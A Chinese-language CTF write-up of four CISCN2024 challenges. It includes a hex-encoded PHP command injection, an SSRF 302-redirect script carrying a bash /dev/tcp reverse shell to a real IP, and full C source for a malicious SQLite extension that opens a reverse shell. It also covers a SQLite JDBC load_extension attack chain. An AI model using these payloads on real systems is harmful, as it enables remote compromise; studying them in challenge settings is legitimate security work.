CISCN2024 writeup

前言

主要复现一下ezjava,jdbc attack还是很有意思的

simple_php

用php -r 执行php代码,用hex2bin绕过关键字和转义。

1
cmd=php+-r+eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));

image-20240525044153901

easycms

生成二维码的接口可以打ssrf,打302跳转进ssrf,参考下面的链接:
利用302跳转绕过限制-ssrf仅能使用http协议时 - 火线 Zone-安全攻防社区 (huoxian.cn)

vps上用php -S 0.0.0.0:8080 起一个http服务,写上跳转脚本,利用题目自带的后门反弹shell

1
2
3
<?php
header('Location: http://127.0.0.1/flag.php?cmd=%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%31%36%2e%36%32%2e%33%38%2e%37%31%2f%39%39%39%39%20%30%3e%26%31%22', true, 302);
exit();

利用接口访问vps,利用302跳转反弹shell拿到flag

1
http://eci-2zecvr9tqvox55jeytq8.cloudeci1.ichunqiu.com/?s=api&c=api&m=qrcode&text=1&thumb=http://xx.xx.xx.xx/index.php&size=10&level=1

image-20240525044216568

easycms_revenge

getimagesize 那里对$thumb的文件类型有要求
Pasted image 20240522084222.png

我们加一个图片头绕过一下就好了,这里有点坑,要多加几个

image-20240525044243126

payload区别不大,注意这里text不能重复,不然不会进代码逻辑

1
/?s=api&c=api&m=qrcode&text=7777777777777&thumb=http://xx.xx.xx.xx/index.php&size=10&level=1

image-20240525044331116

PS:上面的方法在比赛可以过,但是在ctfshow的靶场上是过不了的,复现的师傅注意一下。

ezjava

这题有好几种解法,有db文件缓存、sql注入和AspectJWeaver反序列化写文件,下面用的缓存

简单说一下整体思路:

  1. 让client访问vps上的rce.so,利用缓存在client的/tmp下写文件(文件名可计算)
  2. 再让client访问恶意数据库,触发jdbc attack执行load_extension,加载上面写入的文件实现rce

首先是JdbcController可以传任意的jdbc bean,即sql配置参数可控

1
2
3
4
5
6
7
8
9
// JdbcController
public ResultBean connect(@RequestBody JdbcBean jdbcBean) {
try {
return new ResultBean(Integer.valueOf(1), String.join((CharSequence)",", this.datasourceServiceImpl.testDatasourceConnectionAble(jdbcBean)));
}
catch (Exception e) {
return new ResultBean(Integer.valueOf(0), "\u8fde\u63a5\u5931\u8d25");
}
}

其次,在service层会有switch分支,通过传入的type值决定使用不同Driver去链接数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// DatasourceServiceImpl
switch (jdbcBean.getType()) {
case 1: {
Class.forName((String)config.get("JDBC-MYSQL"));
MysqlDatasourceConnector mysqlDatasourceConnector = new MysqlDatasourceConnector(DriverManager.getConnection(jdbcBean.getUrl()));
if (jdbcBean.getTableName() != null) {
return mysqlDatasourceConnector.getTableContent(jdbcBean.getTableName());
}
return mysqlDatasourceConnector.getTables();
}
case 2: {
Class.forName((String)config.get("JDBC-POSTGRES"));
PostgresDatasourceConnector postgresDatasourceConnector = new PostgresDatasourceConnector(DriverManager.getConnection(jdbcBean.getUrl()));
if (jdbcBean.getTableName() != null) {
return postgresDatasourceConnector.getTableContent(jdbcBean.getTableName());
}
return postgresDatasourceConnector.getTables();
}
case 3: {
SqliteDatasourceConnector sqliteDatasourceConnector = new SqliteDatasourceConnector(jdbcBean.getUrl());
if (jdbcBean.getTableName() != null) {
return sqliteDatasourceConnector.getTableContent(jdbcBean.getTableName());
}
return sqliteDatasourceConnector.getTables();
}
case 4: {
Class.forName((String)config.get("JDBC-SQLITE"));
break;
}
default: {
return new String[]{""};
}
}

这里漏洞点比较明显,在utils的sqlite工具类里,可以发现开了load_extension,说明可以打sqlite jdbc attack,sqlite jdbc attack不像其他可以直接反序列化结合组件rce,sqlite只能执行sql语句。

1
2
3
4
5
6
7
8
// SqliteDatasourceConnector
public SqliteDatasourceConnector(String url) throws ClassNotFoundException, SQLException {
Class.forName("org.sqlite.JDBC");
SQLiteConfig config = new SQLiteConfig();
config.enableLoadExtension(true);
this.connection = DriverManager.getConnection(url, config.toProperties());
this.connection.setAutoCommit(true);
}

这里和mysql的udf提取很像,在可以执行sql命令之后,考虑通过加载.so文件来实现rce

1
2
// 编译命令,注意要在linux环境下编译
gcc -g -fPIC -shared rce.c -o rce.so
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// rce.c 反弹shell用的
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sqlite3ext.h>
#include <sys/stat.h>

SQLITE_EXTENSION_INIT1

/* Configuration for the TCP connection */
int tcp_port = 2333;
char *ip = "116.62.38.71";

#ifdef _WIN32
__declspec(dllexport)
#endif
/**
* Initializes the SQLite extension. * * @param db SQLite database pointer * @param pzErrMsg Error message pointer * @param pApi SQLite API routines pointer * @return SQLITE_OK on success */int sqlite3_extension_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
) {
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);

/* Establish a TCP connection and spawn a shell if running in a child process */
int fd;
if ((fork()) <= 0) {
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);

fd = socket(AF_INET, SOCK_STREAM, 0);
if (connect(fd, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
exit(0); // Exit if connection fails
}

// Redirect standard file descriptors to the socket
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);

// Execute bash shell
execve("/bin/bash", NULL, NULL);
}

return rc;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// calc.c 弹计算器的
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>
#include <stdlib.h>
SQLITE_EXTENSION_INIT1


#ifdef _WIN32
__declspec(dllexport)
#endif

int sqlite3_extension_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);

char *argv[]={"open","-a","Calculator",NULL};
char *envp[]={0,NULL};
execv("/usr/bin/open", argv);

return rc;
}

sqlite jdbc attack运行SQL命令,需要连接到构造好的数据库,构造方法如下:

使用navicat新建一个exp.db,然后创建一个视图,下面选中部分即为client连接之后执行的sql语句
Pasted image 20240525035351.png

缓存实际上就是对当前sqlite连接的数据库在/tmp/做一个备份,虽然第一次访问的是rce.so,但是程序仍会保存为.db文件,通过CoreConnection类可以知道缓存命名规则,文件名生成脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package exp;  

import java.net.URL;

public class cacheFilenameGen {
public static void main(String[] args) throws Exception {
Class.forName("org.sqlite.JDBC");
String writeUrl = "http://xxx/rce.so";
String triggerUrl = "http://xxx/exp.db";
String tmpDirRemote = "/tmp/sqlite-jdbc-tmp-";
String tmpDirLocal = "/var/folders/x8/mrcrl0p503nbmvy62sgmtk3m0000gn/T/sqlite-jdbc-tmp-";
String soFilePlace = String.format("sqlite-jdbc-tmp-%d.db", new URL(writeUrl).hashCode());
System.out.println(soFilePlace);
}
}

将 rce.so 和 exp.db 放到vps上,依次连接,执行写入缓存、触发SQL语句操作即可。

image-20240525043551966

image-20240525043608391

成功反弹shell
Pasted image 20240525042329.png

参考文章:

CVE-2023-32697——sqlite jdbc RCE

Jdbc碎碎念三:内存数据库 | m0d9’s blog

JDBC Connection URL Attack | 素十八 — JDBC Connection URL Attack | 素十八 (su18.org)

su18 jdbc attack github

https://xz.aliyun.com/t/13931